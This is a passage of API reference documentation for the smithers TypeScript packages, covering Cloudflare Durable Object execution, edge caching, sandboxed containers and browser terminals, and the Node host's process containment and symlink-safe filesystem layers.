```ts
class IntentConflict extends Schema.TaggedError<IntentConflict>()(
  "@smthrs/platform-cloudflare/IntentConflict",
  { executionId: Schema.String, message: Schema.String }
)
```

### Constants

| Export                                 | Value                                                               | Meaning                                                                  |
| -------------------------------------- | ------------------------------------------------------------------- | ------------------------------------------------------------------------ |
| `ExecutionObject.intentKey`            | `"smithers/intent"`                                                 | The storage key the intent lives under.                                  |
| `ExecutionObject.failuresKey`          | `"smithers/failures"`                                               | The storage key the count of alarms without progress lives under.        |
| `ExecutionObject.settledKey`           | `"smithers/settled"`                                                | The storage key when the execution settled, in epoch ms, lives under.    |
| `ExecutionObject.settledRetentionMs`   | `86_400_000`                                                        | How long a settled object keeps its intent before it forgets it.         |
| `ExecutionObject.startGraceMs`         | `5_000`                                                             | How long after `start` stores an intent its alarm fires if `start` dies. |
| `ExecutionObject.retryPolicy`          | `RetryPolicy.make({ initialMs: 1_000, factor: 2, maxMs: 300_000 })` | The backoff between alarms without progress. Never gives up.             |
| `ExecutionObject.defaultDriveBudgetMs` | `600_000`                                                           | How long a drive keeps starting steps unless `alarm` is given another.   |

`ExecutionObject.driveBudget` is a `Config.Config<number>`: the setting
`EXECUTION_DRIVE_BUDGET_SECONDS`, whole seconds from 1 to 899, as
milliseconds, and `defaultDriveBudgetMs` when unset. Any other value fails with
a `ConfigError`. The Durable Object class reads it once and passes it to every
`alarm` as `driveBudgetMs`.

### Metrics

| Export                          | Name                                                                            | Attributes                                                                   |
| ------------------------------- | ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |
| `ExecutionObject.starts`        | `smithers_cloudflare_execution_starts`                                          | `outcome`: `accepted`, `duplicate`, `conflict` or `failed`                   |
| `ExecutionObject.alarms`        | `smithers_cloudflare_execution_alarms`                                          | `outcome`: `idle`, `settled`, `parked`, `yielded`, `retrying` or `forgotten` |
| `ExecutionObject.driveDuration` | `smithers_cloudflare_execution_drive_duration` (ms histogram, buckets to 900 s) | `outcome`: `settled`, `parked`, `yielded`, `unfinished` or `failed`          |
| `ExecutionObject.routed`        | `smithers_cloudflare_execution_routed`                                          | `route`: `start` or `wake`, counted per successful call                      |
| `ExecutionObject.wakes`         | `smithers_cloudflare_execution_wakes`                                           | `outcome`: `armed` or `idle`                                                 |

Each `alarm` span carries `smithers.execution.started` and
`smithers.execution.woken`, the counts it routed, and, when it drove, its span
and log line carry `smithers.execution.drive_ms`; each `wake` runs in a
`cloudflare.execution.wake` span with `smithers.execution.wake`.

Each `cloudflare.execution.alarm` line and span also says what the alarm cost:

| Field           | Value                                                                                                                         |
| --------------- | ----------------------------------------------------------------------------------------------------------------------------- |
| `durationMs`    | How long the alarm took, in whole milliseconds.                                                                               |
| `events`        | The journal entries it committed (`@smthrs/journal` `JournalMetrics.tally`).                                                  |
| `transactions`  | Its write transactions that took the database's writer lock, each retry counted (`@smthrs/database` `DatabaseMetrics.tally`). |
| `schemaWide`    | How many of those held the whole schema's lock, so committed alone.                                                           |
| `lockWaitMs`    | How long those transactions waited for the lock in total, in whole milliseconds.                                              |
| `maxLockWaitMs` | Longest individual client-side acquisition, including transaction open, retries and network time.                             |

## EdgeCache

`@smthrs/artifacts`' `ImmutableCache` over the Workers Cache API. Use it for
content that never changes at its key, such as a repository's tree or file at a
commit SHA: a hit costs no read from the source.

### `EdgeCache.layer`

```ts
const layer: (options?: Options) => Layer.Layer<ImmutableCache, ImmutableCacheError>

interface Options {
  readonly name?: string
  readonly maxEntryBytes?: number
  readonly caches?: CacheStorage
}

interface CacheStorage {
  readonly default?: ImmutableCache.WebCache
  readonly open: (name: string) => Promise<ImmutableCache.WebCache>
}
```

| Option          | Default                | Meaning                                                                                               |
| --------------- | ---------------------- | ----------------------------------------------------------------------------------------------------- |
| `name`          | none: `caches.default` | A named cache from `caches.open(name)`, apart from `caches.default`, which the zone's `fetch` shares. |
| `maxEntryBytes` | 8 MiB                  | The largest entry stored; a larger `put` answers `too_large`.                                         |
| `caches`        | the global `caches`    | The `CacheStorage` to use instead. Tests inject one that refuses.                                     |

The layer's telemetry and errors are labelled `cloudflare`. Without a `caches`
global, or without `caches.default` when no `name` is given, or when
`caches.open` rejects, the layer fails with `ImmutableCacheError` and reason
`unavailable`.

```ts
import { ImmutableCache } from "@smthrs/artifacts"
import { EdgeCache } from "@smthrs/platform-cloudflare"

const blob = ImmutableCache.readThrough(
  ImmutableCache.key("repo.blob", repo, sha, path),
  readBlob(repo, sha, path) // a failure, such as a spent budget, is never stored
).pipe(Effect.provide(EdgeCache.layer({ name: "repo" })))
```

What the Workers Cache API means for it:

- **One data center.** An entry lives in the data center that stored it and is
  not replicated, so each data center misses once.
- **Eviction.** Cloudflare may evict any entry; a `get` then misses.
- **Subrequests.** Each `get` and `put` counts toward the request's subrequest
  limit (50 on Workers Free, 1,000 on Paid), as `fetch` does.
- **Cache-Control.** Each stored response carries `Cache-Control: public,
  max-age=31536000, immutable`; without it the Workers cache stores nothing.
- **Previews.** The dashboard editor and Playground previews ignore every Cache
  API call, so there every `get` misses.

## SandboxObject

What a container Durable Object runs before it uses its container. See
[attach a terminal to a container](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-cloudflare/docs/guides/attach-a-terminal-to-a-container.md).

### `SandboxObject.wake`

```ts
const wake: <F, E, R>(
  machine: SandboxObject.Machine<F, E, R>,
  options: SandboxObject.WakeOptions<F>
) => Effect.Effect<SandboxObject.WakeOutcome, E, R>

interface WakeOptions<F> {
  readonly intercepts: ReadonlyArray<{ readonly host: string; readonly fetcher: F }>
  readonly instance?: SandboxObject.Instance | undefined
  readonly startTimeoutMs?: number | undefined
  readonly inactivityTimeoutMs?: number | undefined
  readonly egress?: F | undefined
}

type WakeOutcome = "started" | "running"

type Instance = "lite" | "basic" | "standard-1" | "standard-2" | "standard-3" | "standard-4" | {
  readonly vcpu: number
  readonly memoryMib: number
  readonly diskMb: number
}
```

1. Starts the container with `{ enableInternet: false }`, and `instance` when
   given, when `running` is false. Without `instance`, Cloudflare starts it on
   `lite`: 1/16 vCPU, 256 MiB of memory and 2 GB of disk. A start that runs
   past `startTimeoutMs` is abandoned and fails `SandboxObject.StartTimedOut
   { timeoutMs }`, a typed error a caller can settle on, counted in
   `smithers_cloudflare_sandbox_start_timeouts`; without it the start is
   unbounded.
2. Arms the inactivity timeout: `inactivityTimeoutMs`, default
   `SandboxObject.defaultInactivityTimeoutMs` (30 minutes).
3. Registers each intercept with `interceptOutboundHttp(host, fetcher)`, in
   order, then, with `egress`, every other request: `interceptAllOutboundHttp(egress)` and
   `interceptOutboundHttps("*", egress)`. HTTPS reaches the egress decrypted through the container's per-instance CA,
   which the box must trust. Without `egress` the box reaches only its intercepted hosts.

It runs all three on every call, so a restarted object, or one that died
between its start and its registration, gets its timeout and intercepts back.
It keeps no state and runs no timer or retry. A failure is the container
client's own error, unchanged; the `sandbox.wake` span and the
`cloudflare.sandbox.wake` log line carry only its tag.

### `SandboxObject.rearm`

```ts
const rearm: <F, E, R>(
  machine: Pick<SandboxObject.Machine<F, E, R>, "running" | "setInactivityTimeout">,
  inactivityTimeoutMs?: number
) => Effect.Effect<"rearmed" | "stopped", E, R>
```

Re-arms the inactivity timeout of a container that runs, to
`inactivityTimeoutMs` (default 30 minutes), and starts nothing; `stopped` when
the container isn't running. A Durable Object that restarts, after a deploy
for one, starts with no timeout, and Cloudflare then stops its container
shortly after the object goes idle, even while a process runs in it. Call it
once per incarnation, in the object's constructor, and on each use that
doesn't call `wake`. A failure is the container client's own error,
unchanged; the `sandbox.rearm` span and the `cloudflare.sandbox.rearm` log
line carry only its tag.

### `SandboxObject.run`

```ts
const run: <E, R>(
  container: ContainerTerminal.Container<E, R>,
  argv: Array<string>,
  options?: { readonly user?: string | undefined; readonly env?: Record<string, string> | undefined }
) => Effect.Effect<number, E, R>
```

Runs `argv` in the running container to completion and answers its exit code;
a nonzero one is an answer, not a failure. `user` is a numeric `uid:gid` (the
image's user when absent) and `env` the variables beyond the image's `PATH`.
Standard output and error are `ignore`d, never piped: workerd's exec pipes hold
no bytes, so a command writing to a pipe nobody reads blocks on its first write
and its exit code never comes. One line of warning on stderr is enough. Run a
command whose output matters through `ContainerSession`. The process belongs to
the call's own scope. A failure is the container client's own error, unchanged.

### `SandboxObject.Machine`

```ts
interface Machine<F, E = never, R = never> {
  readonly running: Effect.Effect<boolean, E, R>
  start(
    options: { readonly enableInternet: false; readonly instance?: SandboxObject.Instance }
  ): Effect.Effect<void, E, R>
  setInactivityTimeout(durationMs: number): Effect.Effect<void, E, R>
  interceptOutboundHttp(addr: string, binding: F): Effect.Effect<void, E, R>
  interceptAllOutboundHttp(binding: F): Effect.Effect<void, E, R>
  interceptOutboundHttps(addr: string, binding: F): Effect.Effect<void, E, R>
}
```

The slice of an Effect container client `wake` uses. An Alchemy Durable
Object's container handle satisfies it, with `F` Alchemy's `Fetcher`, `E` its
start and container errors and `R = RuntimeContext`.

### Metrics

| Export                        | Name                                         | Attributes                                  |
| ----------------------------- | -------------------------------------------- | ------------------------------------------- |
| `SandboxObject.wakes`         | `smithers_cloudflare_sandbox_wakes`          | `outcome`: `started`, `running` or `failed` |
| `SandboxObject.rearms`        | `smithers_cloudflare_sandbox_rearms`         | `outcome`: `rearmed`, `stopped` or `failed` |
| `SandboxObject.startTimeouts` | `smithers_cloudflare_sandbox_start_timeouts` | none                                        |

## ContainerTerminal

A browser terminal on a tmux session in a Durable Object's container, over
`@smthrs/sandbox`'s `TerminalProtocol`. See
[attach a terminal to a container](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-cloudflare/docs/guides/attach-a-terminal-to-a-container.md).

A user is a numeric `uid:gid`, such as `1000:2000`. A deployed container's
`exec` refuses a user name and runs a bare `uid` as root; local Docker accepts
both, so a name would pass in development and fail in production. A command
started with `exec` inherits only `PATH` from the image, so pass the shell's
`HOME`, `USER` and `LANG` in `env`.

### `ContainerTerminal.ensureSession`

```ts
const ensureSession: <E, R>(
  container: ContainerTerminal.Container<E, R>,
  options: {
    readonly name: string
    readonly user: string
    readonly cwd: string
    readonly env?: Readonly<Record<string, string>> | undefined
  }
) => Effect.Effect<"created" | "existing", E | ContainerTerminal.InvalidSession | ContainerTerminal.SessionFailed, R>
```

As `user`, under `env` with `TERM` `xterm-256color`, runs `tmux has-session -t
=<name>`, and when it fails, `tmux new-session -d -s <name> -c <cwd>`, each as
an argument vector with no shell. The user's tmux server, started by its first
session, hands `env` to every shell it starts. A session another caller
created meanwhile counts as `existing`. It fails with `InvalidSession` before
running anything when `name` is not a lowercase UUID, `user` is not a numeric
`uid:gid` or its uid is 0, or `cwd` is not an absolute
path of letters, digits, `.`, `_`, `-` and `/`; with `SessionFailed` when no
session runs after `new-session`; and with the container's error when `exec`
fails. Its span is `terminal.session`.

### `ContainerTerminal.attach`

```ts
const attach: <E, R>(
  container: ContainerTerminal.Container<E, R>,
  socket: ContainerTerminal.Socket,
  options: {
    readonly name: string
    readonly user: string
    readonly access: "write" | "read"
    readonly cols: number
    readonly rows: number
    readonly env?: Readonly<Record<string, string>> | undefined
  }
) => Effect.Effect<ContainerTerminal.Report, never, R>
```

Bridges an accepted server WebSocket to a new tmux client on a
pseudo-terminal of `cols` by `rows`, until one side ends. It never fails.

- **The client.** A writer's is `tmux attach-session -t =<name>` with piped
  stdin; a reader's adds `-f read-only,ignore-size` and has no stdin, so it
  neither types nor sizes the window. Both run as `user` under `env`, with
  `TERM` always `ContainerTerminal.clientTerm` (`xterm-256color`). `LANG`
  set to a UTF-8 locale tells the client the terminal speaks UTF-8.
- **Output.** `ready {access}` first, then the shell's output as binary
  frames of at most `TerminalProtocol.maxFrameBytes` (64 KiB), in order.
- **Input.** A writer's binary frames (an `ArrayBuffer`, a typed array or a
  `Blob`) go to stdin, and its `resize` resizes the pseudo-terminal. A
  reader's binary frames and resizes are dropped.
- **Refusals.** A frame over the cap closes with `CloseCode.tooBig` (1009); a
  malformed control frame, or a frame that is neither text nor binary, with
  `CloseCode.unsupported` (1003). Invalid options close with 1003 before
  anything runs.
- **The end.** When the tmux client exits, the viewer gets `ended {reason:
  "closed"}` and `CloseCode.ended` (1000). When the viewer leaves, or a
  refusal or failure closes the socket, `attach` SIGKILLs only its own tmux
  client and waits for its exit; the session keeps running. A failed `exec`,
  stdin, resize, `Blob` read or output stream closes with `CloseCode.failed`
  (1011), after which the viewer reconnects.

Start it right after `accept()`, never `acceptWebSocket()`, and run it in the
background for the socket's lifetime.

### `ContainerTerminal.Report`

```ts
interface Report {
  readonly outcome: "ended" | "closed" | "unsupported" | "too_big" | "failed"
  readonly closeCode: number | null
  readonly bytes: { readonly in: number; readonly out: number; readonly dropped: number }
}
```

`closeCode` is `null` when the viewer closed the socket first. `bytes` counts
what went to the shell, to the viewer, and was dropped from a reader.

### `ContainerTerminal.Container` and `ContainerTerminal.Process`

```ts
interface Container<E = never, R = never> {
  exec(cmd: Array<string>, options?: ExecOptions): Effect.Effect<Process<E, R>, E, R | Scope.Scope>
}

interface Process<E = never, R = never> {
  readonly stdin: Sink.Sink<unknown, Uint8Array, unknown, E, R> | undefined
  readonly stdout: Stream.Stream<Uint8Array, E, R> | undefined
  readonly exitCode: Effect.Effect<number, E, R>
  kill(signal?: number): Effect.Effect<void, E, R>
  resize(cols: number, rows: number): Effect.Effect<void, E, R>
}

interface ExecOptions {
  readonly user?: string
  readonly env?: Record<string, string>
  readonly pty?: { readonly cols: number; readonly rows: number }
  readonly stdin?: "pipe"
  readonly stdout?: "pipe" | "ignore"
  readonly stderr?: "pipe" | "ignore" | "combined"
}
```

The slice of an Effect container client the functions use. An Alchemy Durable
Object's container handle satisfies it with `E = ContainerError` and
`R = RuntimeContext`.

### `ContainerTerminal.Socket`

```ts
interface Socket {
  send(message: string | ArrayBuffer | Uint8Array): void
  close(code?: number, reason?: string): void
  addEventListener(
    type: "message" | "close" | "error",
    listener: (event: { readonly type: string; readonly data?: unknown }) => void
  ): void
}
```

The slice of a server WebSocket `attach` uses: the server side of
`new WebSocketPair()`, already accepted.

### `ContainerTerminal.isSessionName`

```ts
const isSessionName: (value: string) => boolean
```

Whether `value` is a lowercase UUID, the only session name the functions
accept. A Worker can check a terminal id from a URL before it upgrades.

### `ContainerTerminal.isSessionUser`

```ts
const isSessionUser: (value: string) => boolean
```

Whether `value` is a numeric `uid:gid` whose uid is not 0, the only user the
functions accept.

### Errors

```ts
class InvalidSession extends Schema.TaggedError<InvalidSession>()(
  "@smthrs/platform-cloudflare/InvalidSession",
  { field: Schema.Literals(["name", "user", "cwd", "size"]), message: Schema.String }
)

class SessionFailed extends Schema.TaggedError<SessionFailed>()(
  "@smthrs/platform-cloudflare/SessionFailed",
  { name: Schema.String, exitCode: Schema.Number, message: Schema.String }
)
```

### Metrics

| Export                           | Name                                         | Attributes                                                        |
| -------------------------------- | -------------------------------------------- | ----------------------------------------------------------------- |
| `ContainerTerminal.sessions`     | `smithers_cloudflare_terminal_sessions`      | `outcome`: `created`, `existing` or `failed`                      |
| `ContainerTerminal.connects`     | `smithers_cloudflare_terminal_connects`      | `access`, and `outcome` as in `Report`                            |
| `ContainerTerminal.sessionsOpen` | `smithers_cloudflare_terminal_sessions_open` | `access`; up at `ready`, down when the attach ends                |
| `ContainerTerminal.bytes`        | `smithers_cloudflare_terminal_bytes`         | `direction`: `in`, `out` or `dropped`; a count, never the content |

No metric attribute holds an id. Each `attach` runs in a `terminal.connect`
span with `smithers.terminal.id`, `smithers.terminal.access`,
`smithers.terminal.outcome`, `smithers.terminal.close_code` and the three byte
counts, and logs one `cloudflare.terminal.connect` line inside it.

## ContainerSession

A container Durable Object's container as `@smthrs/sandbox`'s `Sandbox.Session`, so `SandboxTools`,
`Sandbox.layerHost` and every other session consumer run on it.

```ts
import { ContainerSession } from "@smthrs/platform-cloudflare"
import { SandboxTools } from "@smthrs/sandbox"

const session = yield* ContainerSession.make(box, {
  id: branchId,
  workdir: "/workspace",
  user: "100123:2000",
  env: { HOME: "/home/p1a2b3", USER: "p1a2b3", LANG: "C.UTF-8" }
})
const status = yield* SandboxTools.execute(session, { tool: "status" }, { callId, callsDirectory: "/home/p1a2b3/.smithers/calls" })
```

### `ContainerSession.make`

```ts
declare const make: <E, R>(
  container: ContainerSession.Container<E, R>,
  options: ContainerSession.Options
) => Effect.Effect<Sandbox.Session, never, R>
```

- Every command runs as `sh -c <command>` as `options.user`, a numeric `uid:gid` such as `1000:2000` or `0:0` (the
  image's user when absent), in `options.workdir` unless the command names a `cwd`; a relative `cwd` is under the
  workdir. A deployed container's `exec` refuses a user name and runs a bare `uid` as root, so a session given anything
  but `uid:gid` fails every command with `ProviderError` code `spawn_error` before it reaches the container.
- `options.env` reaches every command, under the command's own variables. A command inherits only `PATH` from the
  image, so `env` carries the rest, such as `HOME`.
- A command's input is fed beside its output, so one that writes before it has read all its input doesn't stall.
- `readFile` and `writeFile` are commands (`cat`), so the container needs only `sh` and `cat`; `readFile` of an absent
  path or a directory fails `not_found`, and `writeFile` makes the file's directories.
- `ping` runs `true`.
- It starts nothing: wake the container (`SandboxObject.wake`) before handing the session out. A failure of the
  container itself is a `ProviderError` with code `unavailable`, naming the operation, never the command or a path,
  and logs `cloudflare.container_session` with the `operation` (`exec`, `stdout`, `stderr`, `exit`) and the failure's
  tag as `error.type`, never its text.

### `ContainerSession.Container`, `ContainerSession.Process` and `ContainerSession.ExecOptions`

The slice of an Effect container client `make` uses: `exec(argv, { user?, cwd?, env?, stdin?: "pipe", stdout: "pipe",
stderr: "pipe" })` returning a process with `stdin` (a sink; completing it closes the input), `stdout`, `stderr` and
`exitCode`. An Alchemy Durable Object's container handle satisfies it with `R = RuntimeContext`.

---

# @smthrs/platform-node
https://smithers.sh/docs/reference/api/platform-node/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/platform-node/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/platform-node/docs)

> **Related APIs:** [`@smthrs/artifacts`](/docs/reference/api/artifacts/) · [`@smthrs/capability`](/docs/reference/api/capability/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/engine`](/docs/reference/api/engine/) · [`@smthrs/engine-store`](/docs/reference/api/engine-store/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/flows`](/docs/reference/api/flows/) · [`@smthrs/jj`](/docs/reference/api/jj/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/kernel`](/docs/reference/api/kernel/) · [`@smthrs/run-store`](/docs/reference/api/run-store/) · [`@smthrs/sandbox`](/docs/reference/api/sandbox/) · [`@smthrs/std`](/docs/reference/api/std/)

`@smthrs/platform-node` composes the closed five-tag Host surface for Node.
`NodeHost.layer` provides all of it:

```ts
import { NodeHost } from "@smthrs/platform-node"
import * as Effect from "effect/Effect"
import * as ChildProcess from "effect/process/ChildProcess"
import { ChildProcessSpawner } from "effect/process/ChildProcessSpawner"

const program = Effect.gen(function*() {
  const spawner = yield* ChildProcessSpawner
  return yield* spawner.string(ChildProcess.make("printf", ["hello"]))
}).pipe(Effect.provide(NodeHost.layer))
```

:::warning
These adapters require host APIs such as `node:child_process`; they cannot run
in a browser. Use [@smthrs/platform-browser](/docs/reference/api/platform-browser/) for a browser
host and [@smthrs/platform-bun](/docs/reference/api/platform-bun/) for the Bun host bundle.
`ScopedProcess` supports ordinary Node and Bun runtime executables.
:::

There is no shell service. Running a command is Effect's `ChildProcess` /
`ChildProcessSpawner`; a wall-clock budget is `Effect.timeout` around the
effect, and cancellation is fiber interruption, never an `AbortSignal`. There is
no HTTP service either: an outgoing request is Effect's `HttpClient`, provided
here as `EgressHttpClient.layer(environment)`. That layer is Undici through the egress proxy
`HTTP_PROXY`/`HTTPS_PROXY`/`NO_PROXY` name, and the plain
`NodeHttpClient.layerUndici` pool when they name none. Undici installs no
redirect interceptor either way, so every hop stays visible to
[@smthrs/kernel](/docs/reference/api/kernel/).

The complete host bundles build without jj. Their `Jj` service probes
`jj --version` on its first operation, through the runner its repository
commands use, and fails that operation with `JjError` `not_installed` or
`unsupported_version`. `Jj` operations need jj 0.39.0 or newer.

## Requirements

| Requirement                     | Why                                                                   |
| ------------------------------- | --------------------------------------------------------------------- |
| Node.js >=22.19.0               | the minimum this package's `engines` field declares                   |
| the `smithers-jj-export` helper | `AtomicFileSystem` runs every guarded filesystem operation through it |
| a POSIX host                    | Windows has none of those primitives and is unsupported               |

The helper is a real prerequisite, not a soft one, and it fails LATE by
design. `NodeHost.layer` builds cleanly on a host without it, because the
executable is re-validated per request rather than once at construction: the
file a path names can be replaced while a host runs, and a check that happened
only at boot would be a check about a file that is no longer there. The
consequence is that where no helper resolves, the layer builds, the run starts,
and the first guarded filesystem call inside a flow body fails
`PermissionDenied`. The package ships the helper for macOS, Linux, and Windows;
to use another one, point the adapter at it. See
[Configure the filesystem helper](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/docs/guides/configure-the-filesystem-helper.md).

## Entry points

| Import                                     | Source                                                                                                                                        | Platform   |
| ------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------- | ---------- |
| `@smthrs/platform-node`                    | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/src/index.ts)                           | Node       |
| `@smthrs/platform-node/NodeHost`           | [src/NodeHost.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/src/NodeHost.ts)                     | Node       |
| `@smthrs/platform-node/AtomicFileSystem`   | [src/AtomicFileSystem.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/src/AtomicFileSystem.ts)     | Node       |
| `@smthrs/platform-node/HostLiveness`       | [src/HostLiveness.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/src/HostLiveness.ts)             | Node       |
| `@smthrs/platform-node/ProcessReaper`      | [src/ProcessReaper.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/src/ProcessReaper.ts)           | Node       |
| `@smthrs/platform-node/ScopedProcess`      | [src/ScopedProcess.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/src/ScopedProcess.ts)           | Node / Bun |
| `@smthrs/platform-node/ProcessConfinement` | [src/ProcessConfinement.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/src/ProcessConfinement.ts) | Node / Bun |
| `@smthrs/platform-node/ProcessSandbox`     | [src/ProcessSandbox.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-node/src/ProcessSandbox.ts)         | Node / Bun |

The barrel exports `NodeHost`, `EgressHttpClient`, `FetchTransport`, `HostLiveness`,
`ProcessReaper`, `ScopedProcess`, `ProcessConfinement`, `ProcessSandbox`,
[`NodeGarbageCollector`](#nodegarbagecollector),
[`NodeLanguageServer`](#nodelanguageserver), and the durable flow runtime:
[`NodeRuntime`](#noderuntime), [`NativeRuntime`](#nativeruntime),
[`SandboxedFlow`](#sandboxedflow), and [`TestNodeRuntime`](#testnoderuntime).
`FetchTransport`, `NodeGarbageCollector`, `NodeLanguageServer` and the runtime
modules have no subpath of their own; import them from the barrel.
`AtomicFileSystem` is reached as `NodeHost.AtomicFileSystem` or through its own
subpath, never from the barrel.

`NodeHost` also re-exports the pieces it composes, so a program that wants one
slot rather than the whole bundle needs no second dependency:

| Re-export                          | What it is                                                       |
| ---------------------------------- | ---------------------------------------------------------------- |
| `NodeHost.AtomicFileSystem`        | this package's descriptor-relative filesystem, the bundle's slot |
| `NodeHost.ProcessReaper`           | this package's containment sweep                                 |
| `NodeHost.NodeCrypto`              | Effect's Node `Crypto`                                           |
| `NodeHost.NodeFileSystem`          | Effect's raw Node filesystem, which carries NO atomic extension  |
| `NodeHost.NodeChildProcessSpawner` | Effect's Node spawner                                            |
| `NodeHost.NodeHttpClient`          | Effect's Undici-backed `HttpClient`                              |

`NodeCrypto` is there for a different reason from the rest. `Crypto` is not a
Host service, so it is not in the closed list, but every durable composition
needs one and a program that already depends on this package for its host
should not need a second dependency for the digest.

`NodeHost.implementationIds` is a
`Readonly<Record<HostServiceIds[number], string>>` naming the five raw bundle
implementations. Contained factories replace the process runner with
`ProcessReaper.layerSpawner`; the static identity table does not describe
that substitution.

## Layers

| Layer                                       | Jj bound to           | Containment |
| ------------------------------------------- | --------------------- | ----------- |
| `NodeHost.layer`                            | the process directory | no          |
| `NodeHost.layerAt(root)`                    | one absolute root     | no          |
| `NodeHost.layerContained(options?)`         | the process directory | yes         |
| `NodeHost.layerContainedAt(root, options?)` | one absolute root     | yes         |

The contained pair is what [`NodeRuntime.layerHost`](#layerhost) composes. Each pipeline leg
gets a prepared supervisor, a `SIGTERM`-then-`SIGKILL` deadline, and a
`ProcessLedger` record before activation, `jj` runs
through that same spawner rather than starting its own children, and
`ProcessReaper.reap` sweeps the records a crashed incarnation left behind while
the layer is built. The ledger is a requirement rather than a default: only the
program knows whether it has a durable one.

`NodeHost.ContainedOptions` is `graceMs` plus the reaper's `ownerPid` and
`system`. It deliberately omits `ContainedSpawner.Options.platform`. The
platform comes from the real `process.platform`, so the native process group
and recorded identity agree. A caller cannot describe a Windows record for an
owner that actually leads a POSIX group.

## ScopedProcess

A small scoped process API for transient CLI commands. It uses the same POSIX
supervisor lifecycle as the contained hosts without requiring a filesystem,
repository service, or durable process ledger.

```ts
interface Options extends ChildProcess.KillOptions {
  readonly command: string
  readonly args?: ReadonlyArray<string> | undefined
  readonly cwd?: string | undefined
  readonly env?: Readonly<Record<string, string | undefined>> | undefined
  readonly stdin?: "ignore" | "pipe" | undefined
  readonly windowsVerbatimArguments?: boolean | undefined
  readonly windowsHide?: boolean | undefined
}

interface Handle extends ChildProcessHandle {
  readonly targetPid: number
}

const spawn: (options: Options) => Effect.Effect<Handle, PlatformError, Scope>

interface Status {
  readonly code: number | null
  readonly signal: ChildProcess.Signal | null
}

const status: (handle: ChildProcessHandle) => Effect.Effect<Status, PlatformError>
```

`spawn` runs the literal executable and argv with piped stdout/stderr and
`stdin: "ignore"` by default. When `env` is provided it is the complete target
environment; when omitted it inherits the host environment. The default
termination policy is `SIGTERM`, then `SIGKILL` after 2,000 milliseconds.
`windowsHide` defaults to true. Failed startup cleans up its child scope before
returning an error.

On POSIX, `handle.pid` identifies the live supervisor and `targetPid` identifies
the native target for diagnostics. `exitCode` describes the target;
`status(handle)` preserves a terminating signal as `{ code: null, signal }`.
A missing or invalid target result remains a platform failure. Use the handle's
`kill` for cleanup rather than signalling either numeric pid yourself.

Drain stdout, stderr, stdin and status concurrently when using pipes. Keep the
whole operation inside `Effect.scoped`; a target's natural exit also triggers
cleanup of children holding those pipes open. The private parent connection
requests cleanup on host loss, and the supervisor's group guardian kills the
group on supervisor loss. This API has no durable ledger; use
`NodeHost.layerContained` when a later host must reconcile retained records.

## ProcessReaper.layerSpawner

```ts
type SpawnerOptions = Omit<ContainedSpawner.Options, "platform">

const layerSpawner: (
  options?: SpawnerOptions
) => Layer.Layer<ChildProcessSpawner, never, ChildProcessSpawner | ProcessLedger>
```

Provides a contained spawner without the complete Node or Bun host. Supply a
`ProcessLedger` and the underlying runtime spawner. On POSIX this factory uses
the platform's prepared native adapter, whose pipe error listeners live until
their descriptors close, including writes interrupted by owner loss. On
Windows it retains the supplied raw runtime spawner. The platform always comes
from `process.platform`; `graceMs` defaults to 2,000 milliseconds.

The adapter supports the standard command's stdin/stdout/stderr options and
additional descriptors named `fdN` for indices 3 through 65,535. Recognized
indices outside that finite integer range fail before target execution; the
operating system may impose a lower limit. Names Effect does not recognize
are ignored. A missing target result fails status and pending I/O; it never
proves successful cleanup.

`NodeHost.layerContained`, `BunHost.layerContained`, and their rooted variants
use this factory. It records new owners; `ProcessReaper.layer` separately
reconciles records inherited from a previous incarnation.

## ProcessReaper.processLifecycle

```ts
const processLifecycle: ContainedSpawner.Lifecycle
```

The lower-level Node/Bun platform hook for custom
`ContainedSpawner.layer(options, lifecycle)` compositions. Prefer
`ProcessReaper.layerSpawner` for the supplied native adapter as well as the
lifecycle.
It prepares a live supervisor, lets the kernel commit the owner identity with
the original command digest, and activates the target only afterward. The
supervisor keeps group ownership until cleanup completes, including after a
natural target exit. Each pipeline leg gets its own owner and ledger record.

The returned handle's `pid` is the supervisor's, while `exitCode` and
`isRunning` describe the target. `unref` changes liveness references without
relinquishing cleanup ownership. Scope close and repeated explicit kills share
one cleanup result; the first accepted policy wins. Failed or unverified
cleanup fails close and leaves `settled` false so the kernel retains its record.

Default POSIX commands own a separate process group. With `detached: false`,
the supervisor and target share the caller's group, and cleanup signals only
the target: group cleanup is explicitly disabled. Explicit stopping of a live
grouped target also attempts a revalidated ancestry sweep for descendants that
moved to other groups. That positive-PID sweep is best effort; automatic
cleanup after natural exit does not promise to reclaim deliberately escaped
sessions. Windows remains unsupported best effort.

The supervisor starts the current Node or Bun runtime. Compiled Bun
applications and Node single-executable applications are refused before target
execution because they do not implement the runtime's eval entry point.

## Filesystem

`AtomicFileSystem.layer` is `NodeHost`'s filesystem slot, and it is not Effect's
`NodeFileSystem`. Node exposes no `openat(2)` or `renameat(2)`, so the adapter
delegates each operation to a POSIX helper that opens the workspace root once,
walks every component with `O_NOFOLLOW`, and performs the final syscall relative
to a pinned parent descriptor. Under [@smthrs/kernel](/docs/reference/api/kernel/)'s
`FileSystem.layer` that is what makes a symlink swapped in after authorization
unable to redirect the operation, and it is why the bundle returns
`PermissionDenied` for an out-of-root path, a hard link, a symlink, or a special
file rather than performing raw effects.

An aliased workspace root and its canonical `realPath` spelling address the
